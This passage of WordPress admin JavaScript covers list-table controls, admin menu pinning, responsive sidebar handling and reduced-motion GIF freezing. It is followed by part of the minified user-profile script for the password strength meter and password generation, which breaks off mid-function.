	 * @param {jQuery} bottomSelector The bottom selector element.
	 * @param {jQuery} bottomSubmit   The bottom submit element.
	 * @return {void}
	 */
	function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) {
		/**
		 * Updates the primary selector when the secondary selector is changed.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function updateTopSelector() {
			topSelector.val($(this).val());
		}
		bottomSelector.on('change', updateTopSelector);

		/**
		 * Updates the secondary selector when the primary selector is changed.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function updateBottomSelector() {
			bottomSelector.val($(this).val());
		}
		topSelector.on('change', updateBottomSelector);

		/**
		 * Triggers the primary submit when then secondary submit is clicked.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function triggerSubmitClick(e) {
			e.preventDefault();
			e.stopPropagation();

			topSubmit.trigger('click');
		}
		bottomSubmit.on('click', triggerSubmitClick);
	}

	// Marry the secondary "Bulk actions" controls to the primary controls:
	marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') );

	// Marry the secondary "Change role to" controls to the primary controls:
	marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') );

	/**
	 * Shows row actions on focus of its parent container element or any other elements contained within.
	 *
	 * @return {void}
	 */
	$( '#wpbody-content' ).on({
		focusin: function() {
			clearTimeout( transitionTimeout );
			focusedRowActions = $( this ).find( '.row-actions' );
			// transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help.
			$( '.row-actions' ).not( this ).removeClass( 'visible' );
			focusedRowActions.addClass( 'visible' );
		},
		focusout: function() {
			// Tabbing between post title and .row-actions links needs a brief pause, otherwise
			// the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
			transitionTimeout = setTimeout( function() {
				focusedRowActions.removeClass( 'visible' );
			}, 30 );
		}
	}, '.table-view-list .has-row-actions' );

	// Toggle list table rows on small screens.
	$( 'tbody' ).on( 'click', '.toggle-row', function() {
		$( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
	});

	$('#default-password-nag-no').on( 'click', function() {
		setUserSetting('default_password_nag', 'hide');
		$('div.default-password-nag').hide();
		return false;
	});

	/**
	 * Handles tab keypresses in theme and plugin file editor textareas.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
	 */
	$('#newcontent').on('keydown.wpevent_InsertTab', function(e) {
		var el = e.target, selStart, selEnd, val, scroll, sel;

		// After pressing escape key (keyCode: 27), the tab key should tab out of the textarea.
		if ( e.keyCode == 27 ) {
			// When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them.
			e.preventDefault();
			$(el).data('tab-out', true);
			return;
		}

		// Only listen for plain tab key (keyCode: 9) without any modifiers.
		if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey )
			return;

		// After tabbing out, reset it so next time the tab key can be used again.
		if ( $(el).data('tab-out') ) {
			$(el).data('tab-out', false);
			return;
		}

		selStart = el.selectionStart;
		selEnd = el.selectionEnd;
		val = el.value;

		// If any text is selected, replace the selection with a tab character.
		if ( document.selection ) {
			el.focus();
			sel = document.selection.createRange();
			sel.text = '\t';
		} else if ( selStart >= 0 ) {
			scroll = this.scrollTop;
			el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
			el.selectionStart = el.selectionEnd = selStart + 1;
			this.scrollTop = scroll;
		}

		// Cancel the regular tab functionality, to prevent losing focus of the textarea.
		if ( e.stopPropagation )
			e.stopPropagation();
		if ( e.preventDefault )
			e.preventDefault();
	});

	// Reset page number variable for new filters/searches but not for bulk actions. See #17685.
	if ( pageInput.length ) {

		/**
		 * Handles pagination variable when filtering the list table.
		 *
		 * Set the pagination argument to the first page when the post-filter form is submitted.
		 * This happens when pressing the 'filter' button on the list table page.
		 *
		 * The pagination argument should not be touched when the bulk action dropdowns are set to do anything.
		 *
		 * The form closest to the pageInput is the post-filter form.
		 *
		 * @return {void}
		 */
		pageInput.closest('form').on( 'submit', function() {
			/*
			 * action = bulk action dropdown at the top of the table
			 */
			if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage )
				pageInput.val('1');
		});
	}

	/**
	 * Resets the bulk actions when the search button is clicked.
	 *
	 * @return {void}
	 */
	$('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () {
		$('select[name^="action"]').val('-1');
	});

	/**
	 * Scrolls into view when focus.scroll-into-view is triggered.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
 	 */
	$('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
		if ( e.target.scrollIntoViewIfNeeded )
			e.target.scrollIntoViewIfNeeded(false);
	});

	/**
	 * Disables the submit upload buttons when no data is entered.
	 *
	 * @return {void}
	 */
	(function(){
		var button, input, form = $('form.wp-upload-form');

		// Exit when no upload form is found.
		if ( ! form.length )
			return;

		button = form.find('input[type="submit"]');
		input = form.find('input[type="file"]');

		/**
		 * Determines if any data is entered in any file upload input.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		function toggleUploadButton() {
			// When no inputs have a value, disable the upload buttons.
			button.prop('disabled', '' === input.map( function() {
				return $(this).val();
			}).get().join(''));
		}

		// Update the status initially.
		toggleUploadButton();
		// Update the status when any file input changes.
		input.on('change', toggleUploadButton);
	})();

	/**
	 * Pins the menu while distraction-free writing is enabled.
	 *
	 * @param {Event} event Event data.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function pinMenu( event ) {
		var windowPos = $window.scrollTop(),
			resizing = ! event || event.type !== 'scroll';

		if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) {
			return;
		}

		/*
		 * When the menu is higher than the window and smaller than the entire page.
		 * It should be adjusted to be able to see the entire menu.
		 *
		 * Otherwise it can be accessed normally.
		 */
		if ( height.menu + height.adminbar < height.window ||
			height.menu + height.adminbar + 20 > height.wpwrap ) {
			unpinMenu();
			return;
		}

		menuIsPinned = true;

		// If the menu is higher than the window, compensate on scroll.
		if ( height.menu + height.adminbar > height.window ) {
			// Check for overscrolling, this happens when swiping up at the top of the document in modern browsers.
			if ( windowPos < 0 ) {
				// Stick the menu to the top.
				if ( ! pinnedMenuTop ) {
					pinnedMenuTop = true;
					pinnedMenuBottom = false;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: ''
					});
				}

				return;
			} else if ( windowPos + height.window > $document.height() - 1 ) {
				// When overscrolling at the bottom, stick the menu to the bottom.
				if ( ! pinnedMenuBottom ) {
					pinnedMenuBottom = true;
					pinnedMenuTop = false;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: 0
					});
				}

				return;
			}

			if ( windowPos > lastScrollPosition ) {
				// When a down scroll has been detected.

				// If it was pinned to the top, unpin and calculate relative scroll.
				if ( pinnedMenuTop ) {
					pinnedMenuTop = false;
					// Calculate new offset position.
					menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );

					if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
						menuTop = windowPos + height.window - height.menu - height.adminbar;
					}

					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
					// Pin it to the bottom.
					pinnedMenuBottom = true;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: 0
					});
				}
			} else if ( windowPos < lastScrollPosition ) {
				// When a scroll up is detected.

				// If it was pinned to the bottom, unpin and calculate relative scroll.
				if ( pinnedMenuBottom ) {
					pinnedMenuBottom = false;

					// Calculate new offset position.
					menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );

					if ( menuTop + height.menu > windowPos + height.window ) {
						menuTop = windowPos;
					}

					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {

					// Pin it to the top.
					pinnedMenuTop = true;

					$adminMenuWrap.css({
						position: 'fixed',
						top: '',
						bottom: ''
					});
				}
			} else if ( resizing ) {
				// Window is being resized.

				pinnedMenuTop = pinnedMenuBottom = false;

				// Calculate the new offset.
				menuTop = windowPos + height.window - height.menu - height.adminbar - 1;

				if ( menuTop > 0 ) {
					$adminMenuWrap.css({
						position: 'absolute',
						top: menuTop,
						bottom: ''
					});
				} else {
					unpinMenu();
				}
			}
		}

		lastScrollPosition = windowPos;
	}

	/**
	 * Determines the height of certain elements.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function resetHeights() {
		height = {
			window: $window.height(),
			wpwrap: $wpwrap.height(),
			adminbar: $adminbar.height(),
			menu: $adminMenuWrap.height()
		};
	}

	/**
	 * Unpins the menu.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function unpinMenu() {
		if ( isIOS || ! menuIsPinned ) {
			return;
		}

		pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
		$adminMenuWrap.css({
			position: '',
			top: '',
			bottom: ''
		});
	}

	/**
	 * Pins and unpins the menu when applicable.
	 *
	 * @since 4.1.0
	 *
	 * @return {void}
	 */
	function setPinMenu() {
		resetHeights();

		if ( $adminmenu.data('wp-responsive') ) {
			$body.removeClass( 'sticky-menu' );
			unpinMenu();
		} else if ( height.menu + height.adminbar > height.window ) {
			pinMenu();
			$body.removeClass( 'sticky-menu' );
		} else {
			$body.addClass( 'sticky-menu' );
			unpinMenu();
		}
	}

	if ( ! isIOS ) {
		$window.on( 'scroll.pin-menu', pinMenu );
		$document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
			editor.on( 'wp-autoresize', resetHeights );
		});
	}

	/**
	 * Changes the sortables and responsiveness of metaboxes.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	window.wpResponsive = {

		/**
		 * Initializes the wpResponsive object.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		init: function() {
			var self = this;

			this.maybeDisableSortables = this.maybeDisableSortables.bind( this );

			// Modify functionality based on custom activate/deactivate event.
			$document.on( 'wp-responsive-activate.wp-responsive', function() {
				self.activate();
			}).on( 'wp-responsive-deactivate.wp-responsive', function() {
				self.deactivate();
			});

			$( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );

			// Toggle sidebar when toggle is clicked.
			$( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
				event.preventDefault();

				// Close any open toolbar submenus.
				$adminbar.find( '.hover' ).removeClass( 'hover' );

				$wpwrap.toggleClass( 'wp-responsive-open' );
				if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
					$(this).find('a').attr( 'aria-expanded', 'true' );
					$( '#adminmenu a:first' ).trigger( 'focus' );
				} else {
					$(this).find('a').attr( 'aria-expanded', 'false' );
				}
			} );

			// Close sidebar when target moves outside of toggle and sidebar.
			$( document ).on( 'click', function( event ) {
				if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) {
					return;
				}

				var focusIsInToggle  = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target );
				var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target );

				if ( ! focusIsInToggle && ! focusIsInSidebar ) {
					$( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' );
				}
			} );

			// Close sidebar when a keypress completes outside of toggle and sidebar.
			$( document ).on( 'keyup', function( event ) {
				var toggleButton   = $( '#wp-admin-bar-menu-toggle' )[0];
				if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) {
				    return;
				}
				if ( 27 === event.keyCode ) {
					$( toggleButton ).trigger( 'click.wp-responsive' );
					$( toggleButton ).find( 'a' ).trigger( 'focus' );
				} else {
					if ( 9 === event.keyCode ) {
						var sidebar        = $( '#adminmenuwrap' )[0];
						var focusedElement = event.relatedTarget || document.activeElement;
						// A brief delay is required to allow focus to switch to another element.
						setTimeout( function() {
							var focusIsInToggle  = $.contains( toggleButton, focusedElement );
							var focusIsInSidebar = $.contains( sidebar, focusedElement );
							
							if ( ! focusIsInToggle && ! focusIsInSidebar ) {
								$( toggleButton ).trigger( 'click.wp-responsive' );
							}
						}, 10 );
					}
				}
			});

			// Add menu events.
			$adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
				if ( ! $adminmenu.data('wp-responsive') ) {
					return;
				}

				$( this ).parent( 'li' ).toggleClass( 'selected' );
				$( this ).trigger( 'focus' );
				event.preventDefault();
			});

			self.trigger();
			$document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) );

			// This needs to run later as UI Sortable may be initialized when the document is ready.
			$window.on( 'load.wp-responsive', this.maybeDisableSortables );
			$document.on( 'postbox-toggled', this.maybeDisableSortables );

			// When the screen columns are changed, potentially disable sortables.
			$( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables );
		},

		/**
		 * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables.
		 *
		 * @since 5.3.0
		 *
		 * @return {void}
		 */
		maybeDisableSortables: function() {
			var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;

			if (
				( width <= 782 ) ||
				( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) )
			) {
				this.disableSortables();
			} else {
				this.enableSortables();
			}
		},

		/**
		 * Changes properties of body and admin menu.
		 *
		 * Pins and unpins the menu and adds the auto-fold class to the body.
		 * Makes the admin menu responsive and disables the metabox sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		activate: function() {
			setPinMenu();

			if ( ! $body.hasClass( 'auto-fold' ) ) {
				$body.addClass( 'auto-fold' );
			}

			$adminmenu.data( 'wp-responsive', 1 );
			this.disableSortables();
		},

		/**
		 * Changes properties of admin menu and enables metabox sortables.
		 *
		 * Pin and unpin the menu.
		 * Removes the responsiveness of the admin menu and enables the metabox sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		deactivate: function() {
			setPinMenu();
			$adminmenu.removeData('wp-responsive');

			this.maybeDisableSortables();
		},

		/**
		 * Sets the responsiveness and enables the overlay based on the viewport width.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		trigger: function() {
			var viewportWidth = getViewportWidth();

			// Exclude IE < 9, it doesn't support @media CSS rules.
			if ( ! viewportWidth ) {
				return;
			}

			if ( viewportWidth <= 782 ) {
				if ( ! wpResponsiveActive ) {
					$document.trigger( 'wp-responsive-activate' );
					wpResponsiveActive = true;
				}
			} else {
				if ( wpResponsiveActive ) {
					$document.trigger( 'wp-responsive-deactivate' );
					wpResponsiveActive = false;
				}
			}

			if ( viewportWidth <= 480 ) {
				this.enableOverlay();
			} else {
				this.disableOverlay();
			}

			this.maybeDisableSortables();
		},

		/**
		 * Inserts a responsive overlay and toggles the window.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		enableOverlay: function() {
			if ( $overlay.length === 0 ) {
				$overlay = $( '<div id="wp-responsive-overlay"></div>' )
					.insertAfter( '#wpcontent' )
					.hide()
					.on( 'click.wp-responsive', function() {
						$toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
						$( this ).hide();
					});
			}

			$toolbarPopups.on( 'click.wp-responsive', function() {
				$overlay.show();
			});
		},

		/**
		 * Disables the responsive overlay and removes the overlay.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		disableOverlay: function() {
			$toolbarPopups.off( 'click.wp-responsive' );
			$overlay.hide();
		},

		/**
		 * Disables sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		disableSortables: function() {
			if ( $sortables.length ) {
				try {
					$sortables.sortable( 'disable' );
					$sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' );
				} catch ( e ) {}
			}
		},

		/**
		 * Enables sortables.
		 *
		 * @since 3.8.0
		 *
		 * @return {void}
		 */
		enableSortables: function() {
			if ( $sortables.length ) {
				try {
					$sortables.sortable( 'enable' );
					$sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' );
				} catch ( e ) {}
			}
		}
	};

	/**
	 * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on.
	 *
	 * @since 4.5.0
	 *
	 * @return {void}
	 */
	function aria_button_if_js() {
		$( '.aria-button-if-js' ).attr( 'role', 'button' );
	}

	$( document ).on( 'ajaxComplete', function() {
		aria_button_if_js();
	});

	/**
	 * Get the viewport width.
	 *
	 * @since 4.7.0
	 *
	 * @return {number|boolean} The current viewport width or false if the
	 *                          browser doesn't support innerWidth (IE < 9).
	 */
	function getViewportWidth() {
		var viewportWidth = false;

		if ( window.innerWidth ) {
			// On phones, window.innerWidth is affected by zooming.
			viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
		}

		return viewportWidth;
	}

	/**
	 * Sets the admin menu collapsed/expanded state.
	 *
	 * Sets the global variable `menuState` and triggers a custom event passing
	 * the current menu state.
	 *
	 * @since 4.7.0
	 *
	 * @return {void}
	 */
	function setMenuState() {
		var viewportWidth = getViewportWidth() || 961;

		if ( viewportWidth <= 782  ) {
			menuState = 'responsive';
		} else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) {
			menuState = 'folded';
		} else {
			menuState = 'open';
		}

		$document.trigger( 'wp-menu-state-set', { state: menuState } );
	}

	// Set the menu state when the window gets resized.
	$document.on( 'wp-window-resized.set-menu-state', setMenuState );

	/**
	 * Sets ARIA attributes on the collapse/expand menu button.
	 *
	 * When the admin menu is open or folded, updates the `aria-expanded` and
	 * `aria-label` attributes of the button to give feedback to assistive
	 * technologies. In the responsive view, the button is always hidden.
	 *
	 * @since 4.7.0
	 *
	 * @return {void}
	 */
	$document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) {
		var $collapseButton = $( '#collapse-button' ),
			ariaExpanded, ariaLabelText;

		if ( 'folded' === eventData.state ) {
			ariaExpanded = 'false';
			ariaLabelText = __( 'Expand Main menu' );
		} else {
			ariaExpanded = 'true';
			ariaLabelText = __( 'Collapse Main menu' );
		}

		$collapseButton.attr({
			'aria-expanded': ariaExpanded,
			'aria-label': ariaLabelText
		});
	});

	window.wpResponsive.init();
	setPinMenu();
	setMenuState();
	currentMenuItemHasPopup();
	makeNoticesDismissible();
	aria_button_if_js();

	$document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );

	// Set initial focus on a specific element.
	$( '.wp-initial-focus' ).trigger( 'focus' );

	// Toggle update details on update-core.php.
	$body.on( 'click', '.js-update-details-toggle', function() {
		var $updateNotice = $( this ).closest( '.js-update-details' ),
			$progressDiv = $( '#' + $updateNotice.data( 'update-details' ) );

		/*
		 * When clicking on "Show details" move the progress div below the update
		 * notice. Make sure it gets moved just the first time.
		 */
		if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) {
			$progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' );
		}

		// Toggle the progress div visibility.
		$progressDiv.toggle();
		// Toggle the Show Details button expanded state.
		$( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) );
	});
});

/**
 * Hides the update button for expired plugin or theme uploads.
 *
 * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired,
 * hides the "Replace current with uploaded" button and displays a warning.
 *
 * @since 5.5.0
 */
$( function( $ ) {
	var $overwrite, $warning;

	if ( ! $body.hasClass( 'update-php' ) ) {
		return;
	}

	$overwrite = $( 'a.update-from-upload-overwrite' );
	$warning   = $( '.update-from-upload-expired' );

	if ( ! $overwrite.length || ! $warning.length ) {
		return;
	}

	window.setTimeout(
		function() {
			$overwrite.hide();
			$warning.removeClass( 'hidden' );

			if ( window.wp && window.wp.a11y ) {
				window.wp.a11y.speak( $warning.text() );
			}
		},
		7140000 // 119 minutes. The uploaded file is deleted after 2 hours.
	);
} );

// Fire a custom jQuery event at the end of window resize.
( function() {
	var timeout;

	/**
	 * Triggers the WP window-resize event.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	function triggerEvent() {
		$document.trigger( 'wp-window-resized' );
	}

	/**
	 * Fires the trigger event again after 200 ms.
	 *
	 * @since 3.8.0
	 *
	 * @return {void}
	 */
	function fireOnce() {
		window.clearTimeout( timeout );
		timeout = window.setTimeout( triggerEvent, 200 );
	}

	$window.on( 'resize.wp-fire-once', fireOnce );
}());

// Make Windows 8 devices play along nicely.
(function(){
	if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
		var msViewportStyle = document.createElement( 'style' );
		msViewportStyle.appendChild(
			document.createTextNode( '@-ms-viewport{width:auto!important}' )
		);
		document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
	}
})();

}( jQuery, window ));

/**
 * Freeze animated plugin icons when reduced motion is enabled.
 *
 * When the user has enabled the 'prefers-reduced-motion' setting, this module
 * stops animations for all GIFs on the page with the class 'plugin-icon' or
 * plugin icon images in the update plugins table.
 *
 * @since 6.4.0
 */
(function() {
	// Private variables and methods.
	var priv = {},
		pub = {},
		mediaQuery;

	// Initialize pauseAll to false; it will be set to true if reduced motion is preferred.
	priv.pauseAll = false;
	if ( window.matchMedia ) {
		mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
		if ( ! mediaQuery || mediaQuery.matches ) {
			priv.pauseAll = true;
		}
	}

	// Method to replace animated GIFs with a static frame.
	priv.freezeAnimatedPluginIcons = function( img ) {
		var coverImage = function() {
			var width = img.width;
			var height = img.height;
			var canvas = document.createElement( 'canvas' );

			// Set canvas dimensions.
			canvas.width = width;
			canvas.height = height;

			// Copy classes from the image to the canvas.
			canvas.className = img.className;

			// Check if the image is inside a specific table.
			var isInsideUpdateTable = img.closest( '#update-plugins-table' );

			if ( isInsideUpdateTable ) {
				// Transfer computed styles from image to canvas.
				var computedStyles = window.getComputedStyle( img ),
					i, max;
				for ( i = 0, max = computedStyles.length; i < max; i++ ) {
					var propName = computedStyles[ i ];
					var propValue = computedStyles.getPropertyValue( propName );
					canvas.style[ propName ] = propValue;
				}
			}

			// Draw the image onto the canvas.
			canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height );

			// Set accessibility attributes on canvas.
			canvas.setAttribute( 'aria-hidden', 'true' );
			canvas.setAttribute( 'role', 'presentation' );

			// Insert canvas before the image and set the image to be near-invisible.
			var parent = img.parentNode;
			parent.insertBefore( canvas, img );
			img.style.opacity = 0.01;
			img.style.width = '0px';
			img.style.height = '0px';
		};

		// If the image is already loaded, apply the coverImage function.
		if ( img.complete ) {
			coverImage();
		} else {
			// Otherwise, wait for the image to load.
			img.addEventListener( 'load', coverImage, true );
		}
	};

	// Public method to freeze all relevant GIFs on the page.
	pub.freezeAll = function() {
		var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' );
		for ( var x = 0; x < images.length; x++ ) {
			if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) {
				priv.freezeAnimatedPluginIcons( images[ x ] );
			}
		}
	};

	// Only run the freezeAll method if the user prefers reduced motion.
	if ( true === priv.pauseAll ) {
		pub.freezeAll();
	}

	// Listen for jQuery AJAX events.
	( function( $ ) {
		if ( window.pagenow === 'plugin-install' ) {
			// Only listen for ajaxComplete if this is the plugin-install.php page.
			$( document ).ajaxComplete( function( event, xhr, settings ) {

				// Check if this is the 'search-install-plugins' request.
				if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) {
					// Recheck if the user prefers reduced motion.
					if ( window.matchMedia ) {
						var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
						if ( mediaQuery.matches ) {
							pub.freezeAll();
						}
					} else {
						// Fallback for browsers that don't support matchMedia.
						if ( true === priv.pauseAll ) {
							pub.freezeAll();
						}
					}
				}
			} );
		}
	} )( jQuery );

	// Expose public methods.
	return pub;
})();
user-profile.min.js000064400000014204150276633110010305 0ustar00/*! This file is auto-generated */
!function(o){var e,a,t,n,i,r,p,d,l,c,u=!1,h=wp.i18n.__;function f(){"function"!=typeof zxcvbn?setTimeout(f,50):(!a.val()||c.hasClass("is-open")?(a.val(a.data("pw")),a.trigger("pwupdate")):b(),_(),m(),1!==parseInt(r.data("start-masked"),10)?a.attr("type","text"):r.trigger("click"),o("#pw-weak-text-label").text(h("Confirm use of weak password")),"mailserver_pass"!==a.prop("id")&&o(a).trigger("focus"))}function w(s){r.attr({"aria-label":h(s?"Show password":"Hide password")}).find(".text").text(h(s?"Show":"Hide")).end().find(".dashicons").removeClass(s?"dashicons-hidden":"dashicons-visibility").addClass(s?"dashicons-visibility":"dashicons-hidden")}function m(){r||(r=e.find(".wp-hide-pw")).show().on("click",function(){"password"===a.attr("type")?(a.attr("type","text"),w(!1)):(a.attr("type","password"),w(!0))})}function v(s,e,a){var t=o("<div />");t.addClass("notice inline"),t.addClass("notice-"+(e?"success":"error")),t.text(o(o.parseHTML(a)).text()).wrapInner("<p />"),s.prop("disabled",e),s.siblings(".notice").remove(),s.before(t)}function g(){var s;e=o(".user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit"),o(".user-pass2-wrap").hide(),d=o("#submit, #wp-submit").on("click",function(){u=!1}),p=d.add(" #createusersub"),n=o(".pw-weak"),(i=n.find(".pw-checkbox")).on("change",function(){p.prop("disabled",!i.prop("checked"))}),(a=o("#pass1, #mailserver_pass")).length?(l=a.val(),1===parseInt(a.data("reveal"),10)&&f(),a.on("input pwupdate",function(){a.val()!==l&&(l=a.val(),a.removeClass("short bad good strong"),_())})):a=o("#user_pass"),t=o("#pass2").on("input",function(){0<t.val().length&&(a.val(t.val()),t.val(""),l="",a.trigger("pwupdate"))}),a.is(":hidden")&&(a.prop("disabled",!0),t.prop("disabled",!0)),c=e.find(".wp-pwd"),s=e.find("button.wp-generate-pw"),m(),s.show(),s.on("click",function(){u=!0,s.not(".skip-aria-expanded").attr("aria-expanded","true"),c.show().addClass("is-open"),a.attr("disabled",!1),t.attr("disabled",!1),f(),w(!1),wp.ajax.post("generate-password").done(function(s){a.data("pw",s)})}),e.find("button.wp-cancel-pw").on("click",function(){u=!1,a.prop("disabled",!0),t.prop("disabled",!0),a.val("").trigger("pwupdate"),w(!1),c.hide().removeClass("is-open"),p.prop("disabled",!1),s.attr("aria-expanded","false")}),e.closest("form").on("submit",function(){u=!1,a.prop("disabled",!1),t.prop("disabled",!1),t.val(a.val())})}function b(){var s=o("#pass1").val();if(o("#pass-strength-result").removeClass("short bad good strong empty"),s&&""!==s.trim())switch(wp.passwordStrength.meter(s,wp.passwordStrength.userInputDisallowedList(),s)){case-1:o("#pass-strength-result").addClass("bad").html(pwsL10n.unknown);break;case 2:o("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:o("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:o("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;case 5:o("#pass-strength-result").addClass("short").html(pwsL10n.mismatch);break;default:o("#pass-strength-result").addClass("short").html(pwsL10n.short)}else o("#pass-strength-result").addClass("empty").html("&nbsp;")}function _(){var s=o("#pass-strength-result");s.length&&(s=s[0]).className&&(a.addClass(s.className),o(s).is(".short, .bad")?(i.prop("checked")||p.prop("disabled",!0),n.show()):(o(s).is(".empty")?(p.prop("disabled",!0),i.prop("checked",!1)):p.prop("disabled",!1),n.hide()))}o(function(){var s,a,t,n,i=o("#display_name"),e=i.val(),r=o("#wp-admin-bar-my-account").find(".display-name");o("#pass1").val("").on("input pwupdate",b),o("#pass-strength-result").show(),o(".color-palette").on("click",function(){o(this).siblings('input[name="admin_color"]').prop("checked",!0)}),i.length&&(o("#first_name, #last_name, #nickname").on("blur.user_profile",function(){var a=[],t={display_nickname:o("#nickname").val()||"",display_username:o("#user_login").val()||"",display_firstname:o("#first_name").val()||"",display_lastname:o("#last_name").val()||""};t.display_firstname&&t.display_lastname&&(t.display_firstlast=t.display_firstname+" "+t.display_lastname,t.display_lastfirst=t.display_lastname+" "+t.display_firstname),o.each(o("option",i),function(s,e){a.push(e.value)}),o.each(t,function(s,e){e&&(e=e.replace(/<\/?[a-z][^>]*>/gi,""),t[s].length)&&-1===o.inArray(e,a)&&(a.push(e),o("<option />",{text:e}).appendTo(i))})}),i.on("change",function(){var s;t===n&&(s=this.value.trim()||e,r.text(s))})),s=o("#color-picker"),a=o("#colors-css"),t=o("input#user_id").val(),n=o('input[name="checkuser_id"]').val(),s.on("click.colorpicker",".color-option",function(){var s,e=o(this);if(!e.hasClass("selected")&&(e.siblings(".selected").removeClass("selected"),e.addClass("selected").find('input[type="radio"]').prop("checked",!0),t===n)){if((a=0===a.length?o('<link rel="stylesheet" />').appendTo("head"):a).attr("href",e.children(".css_url").val()),"undefined"!=typeof wp&&wp.svgPainter){try{s=JSON.parse(e.children(".icon_colors").val())}catch(s){}s&&(wp.svgPainter.setColors(s),wp.svgPainter.paint())}o.post(ajaxurl,{action:"save-user-color-scheme",color_scheme:e.children('input[name="admin_color"]').val(),nonce:o("#color-nonce").val()}).done(function(s){s.success&&o("body").removeClass(s.data.previousScheme).addClass(s.data.currentScheme)})}}),g(),o("#generate-reset-link").on("click",function(){var e=o(this),s={user_id:userProfileL10n.user_id,nonce:userProfileL10n.nonce},s=(e.parent().find(".notice-error").remove(),wp.ajax.post("send-password-reset",s));s.done(function(s){v(e,!0,s)}),s.fail(function(s){v(e,!1,s)})})}),o("#destroy-sessions").on("click",function(s){var 